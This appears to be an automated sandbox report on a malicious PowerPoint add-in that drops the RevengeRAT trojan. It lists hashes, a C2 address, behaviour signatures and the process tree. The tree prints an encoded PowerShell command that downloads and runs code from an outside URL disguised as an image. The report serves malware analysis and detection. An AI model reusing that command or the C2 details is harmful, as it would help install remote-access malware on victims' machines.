Analysis

  • max time kernel
    119s
  • max time network
    149s
  • platform
    windows7_x64
  • resource
    win7-20240708-en
  • resource tags

    arch:x64arch:x86image:win7-20240708-enlocale:en-usos:windows7-x64system
  • submitted
    26-08-2024 09:30

General

  • Target

    26082024_0930_Documentacao e embarque.ppam

  • Size

    28KB

  • MD5

    611017e71f6a61eed28e687918d303a2

  • SHA1

    a1fd8915e3acecc84bf6d2e03f069d2670d9c52a

  • SHA256

    3ecc5f6014a056385e0c479b9eae55465faebf46232c1ee69c33dfd74618e1a1

  • SHA512

    53dc0e4561f78ef7c2f9fc0fea54efe1776face2df3b1df1a94d9164917647d08ad8304b2706c0fba00443afa745612a1c4f2fa1be3762ecd146d2566ae17061

  • SSDEEP

    768:VP6H0wZxRDNiAbnHPyULqU4Qq/wiGyLcSyd:VyNp0WnvyULqU4Qq/wXHSyd

Malware Config

Extracted

Family

revengerat

Botnet

NyanCatRevenge

C2

18.228.165.84:3333

Mutex

788bf014999d4ae8929

Signatures

  • Process spawned unexpected child process 1 IoCs

    This typically indicates the parent process was compromised via an exploit or macro.

  • RevengeRAT

    Remote-access trojan with a wide range of capabilities.

  • Blocklisted process makes network request 1 IoCs
  • Suspicious use of SetThreadContext 1 IoCs
  • System Location Discovery: System Language Discovery 1 TTPs 3 IoCs

    Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

  • Checks processor information in registry 2 TTPs 2 IoCs

    Processor information is often read in order to detect sandboxing environments.

  • Modifies registry class 64 IoCs
  • Suspicious behavior: AddClipboardFormatListener 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 1 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of WriteProcessMemory 20 IoCs

Processes

  • C:\Program Files (x86)\Microsoft Office\Office14\POWERPNT.EXE
    "C:\Program Files (x86)\Microsoft Office\Office14\POWERPNT.EXE" "C:\Users\Admin\AppData\Local\Temp\26082024_0930_Documentacao e embarque.ppam"
    1⤵
    • System Location Discovery: System Language Discovery
    • Modifies registry class
    • Suspicious behavior: AddClipboardFormatListener
    • Suspicious use of WriteProcessMemory
    PID:3016
    • C:\Windows\splwow64.exe
      C:\Windows\splwow64.exe 12288
      2⤵
        PID:2412
      • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -e SQBFAFgAIAAgACgATgBlAHcALQBPAGIAagBlAGMAdAAgAE4AZQB0AC4AVwBlAGIAQwBsAGkAZQBuAHQAKQAuAEQAbwB3AG4AbABvAGEAZABTAHQAcgBpAG4AZwAuAEkAbgB2AG8AawBlACgAJwANAAoAaAB0AHQAcABzADoALwAvAGYAaQByAGUAYgBhAHMAZQBzAHQAbwByAGEAZwBlAC4AZwBvAG8AZwBsAGUAYQBwAGkAcwAuAGMAbwBtAC8AdgAwAC8AYgAvAHMAcABhAG0ALQBjADIANwAzAGEALgBhAHAAcABzAHAAbwB0AC4AYwBvAG0ALwBvAC8AMQA1AC0AMAA4AC0AMgAwADIANAAuAGoAcABnAD8AYQBsAHQAPQBtAGUAZABpAGEAJgB0AG8AawBlAG4APQBkAGIAYQA5ADEAMgBjADAALQBlADgANAAxAC0ANAAyADIANQAtAGEAYgA4ADgALQA4AGIAYQAyADYAMQAyADYANgAxAGUAMgANAAoAJwApADsAIAANAAoAdQBwAFQAQQBvAGkAWABUAEMAdQBVAEMATgBwAHkAegBhAA0ACgA=""
        2⤵
        • Process spawned unexpected child process
        • Blocklisted process makes network request
        • Suspicious use of SetThreadContext
        • System Location Discovery: System Language Discovery
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        • Suspicious use of WriteProcessMemory
        PID:2328
        • C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe
          "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe"
          3⤵
          • System Location Discovery: System Language Discovery
          • Checks processor information in registry
          PID:2256

    Network

    MITRE ATT&CK Enterprise v15

    Replay Monitor

    Loading Replay Monitor...

    Downloads

    • memory/2256-62-0x0000000000400000-0x000000000040A000-memory.dmp

      Filesize

      40KB

    • memory/2256-51-0x0000000000400000-0x000000000040A000-memory.dmp

      Filesize

      40KB

    • memory/2256-53-0x0000000000400000-0x000000000040A000-memory.dmp

      Filesize

      40KB

    • memory/2256-55-0x0000000000400000-0x000000000040A000-memory.dmp

      Filesize

      40KB

    • memory/2256-57-0x0000000000400000-0x000000000040A000-memory.dmp

      Filesize

      40KB

    • memory/2256-59-0x000000007EFDE000-0x000000007EFDF000-memory.dmp

      Filesize

      4KB

    • memory/2256-60-0x0000000000400000-0x000000000040A000-memory.dmp

      Filesize

      40KB

    • memory/2256-61-0x0000000000400000-0x000000000040A000-memory.dmp

      Filesize

      40KB

    • memory/2328-39-0x0000000002570000-0x0000000002588000-memory.dmp

      Filesize

      96KB

    • memory/2328-50-0x0000000002570000-0x0000000002588000-memory.dmp

      Filesize

      96KB

    • memory/2328-46-0x0000000002570000-0x0000000002588000-memory.dmp

      Filesize

      96KB

    • memory/2328-44-0x0000000002570000-0x0000000002588000-memory.dmp

      Filesize

      96KB

    • memory/2328-43-0x0000000002570000-0x0000000002588000-memory.dmp

      Filesize

      96KB

    • memory/2328-40-0x0000000002570000-0x0000000002588000-memory.dmp

      Filesize

      96KB

    • memory/2328-48-0x0000000002570000-0x0000000002588000-memory.dmp

      Filesize

      96KB

    • memory/3016-35-0x0000000004EF0000-0x0000000004FF0000-memory.dmp

      Filesize

      1024KB

    • memory/3016-36-0x0000000004EF0000-0x0000000004FF0000-memory.dmp

      Filesize

      1024KB

    • memory/3016-0-0x000000002DFE1000-0x000000002DFE2000-memory.dmp

      Filesize

      4KB

    • memory/3016-34-0x0000000004EF0000-0x0000000004FF0000-memory.dmp

      Filesize

      1024KB

    • memory/3016-12-0x0000000005DB0000-0x0000000005EB0000-memory.dmp

      Filesize

      1024KB

    • memory/3016-11-0x0000000004EF0000-0x0000000004FF0000-memory.dmp

      Filesize

      1024KB

    • memory/3016-2-0x000000007259D000-0x00000000725A8000-memory.dmp

      Filesize

      44KB

    • memory/3016-1-0x000000005FFF0000-0x0000000060000000-memory.dmp

      Filesize

      64KB

    • memory/3016-63-0x000000007259D000-0x00000000725A8000-memory.dmp

      Filesize

      44KB

    • memory/3016-64-0x0000000004EF0000-0x0000000004FF0000-memory.dmp

      Filesize

      1024KB

    • memory/3016-65-0x0000000004EF0000-0x0000000004FF0000-memory.dmp

      Filesize

      1024KB

    • memory/3016-67-0x000000005FFF0000-0x0000000060000000-memory.dmp

      Filesize

      64KB

    • memory/3016-68-0x000000007259D000-0x00000000725A8000-memory.dmp

      Filesize

      44KB